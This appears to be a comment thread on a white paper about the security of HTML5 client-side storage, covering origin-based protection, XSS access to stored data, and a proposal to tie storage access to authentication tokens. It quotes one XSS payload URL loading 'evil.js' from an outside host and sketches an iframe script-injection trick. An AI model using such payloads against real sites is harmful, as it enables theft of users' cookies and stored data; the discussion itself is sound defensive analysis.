Alberto Trivero: The aim of this white paper is to analyze security implications of the new HTML 5 client-side storage technology, showing how different attacks can be conduct in order to steal storage data in the client’s machine.
Has this been examined before? It is not obvious to me that it has...
There were two interesting points for me in that - the first was that storage isn’t directory protected, so LiveJournal or myspace shouldn’t use it, because their URL’s are of the form: http://www.livejournal.com/user1 or http://www.myspace.com/user2. I thought that was pretty damning, and shows a weakness in the spec.
The second showed that if there are XSS vulnerabilities, the database can be exploited - but I think that isn’t the right way to look at it. If there are XSS vulnerabilities, can’t I pretty much do whatever I want? E.g, the example given was:
http://example.com/page.php?name=<script src=http://foo.com/evil.js></script>
But if I can do that, can’t the contents of my evil javascript grab the user’s cookies, or grab the user’s password out of the DOM, or do just about anything anyways? The local storage isn’t the problem, the XSS vulnerability in ‘page.php’ is.
Hmm, I was sure I remembered some more discussion of that whitepaper on IRC, but I can’t find it in my logs, and now I think it must have been some other (very similar) document...
storage isn’t directory protected
Security on the web is fundamentally origin-based, not directory-based. If Web Storage tried to apply directory-based security, people could write <iframe src="/some-other-directory"> and use iframe.contentDocument.appendChild(iframe.contentDocument.createNode('script')).setAttribute('src', 'some-malicious-script') to run scripts within the security context of that other directory, circumventing any protection.
The second showed that if there are XSS vulnerabilities, the database can be exploited
Indeed - XSS lets you do anything that the page itself can do, so it’s entirely unsurprising that it lets you access local storage. The solution is simply to escape all your input and output properly. In practice everybody will get it wrong, since everybody is getting it wrong today and the new features won’t change the vulnerabilities, so it’d probably be useful to encourage authors not to store particularly sensitive information on the client (just like with cookies).
I am not a security expert, but these concerns don’t bother me.
I do have one lingering concern that I don’t know what to do about. Having a Web Storage mechanism will enable people like me, who aren’t security experts, to design applications which capture more sensitive data which could be exposed with the right XSS attack. When such happens (and I see that as a when, not an if) there will be a lot of righteous finger pointing.
But if that turns out to be the biggest concern, I don’t see that as blocking in any way. At most, I see a call out to see if anybody can express that concern in a way that is clear enough to merit inclusion in the spec.
A sane way to protect locally persistent data is to try and protect it the same way server resident data is protected. For example, if an authentication token is required in the form of a cookie to access protected parts of the site, the same token must be good to protect data that came from those protected parts.
My proposal, in effect, is to ensure that data access can only take place if the authorization token that the server verified in order to provide the private data is, in fact, present at the time of accessing that same data.
Read more about my proposals on persistent local storage, its synchronization, as well as securing access to it on my blog [link]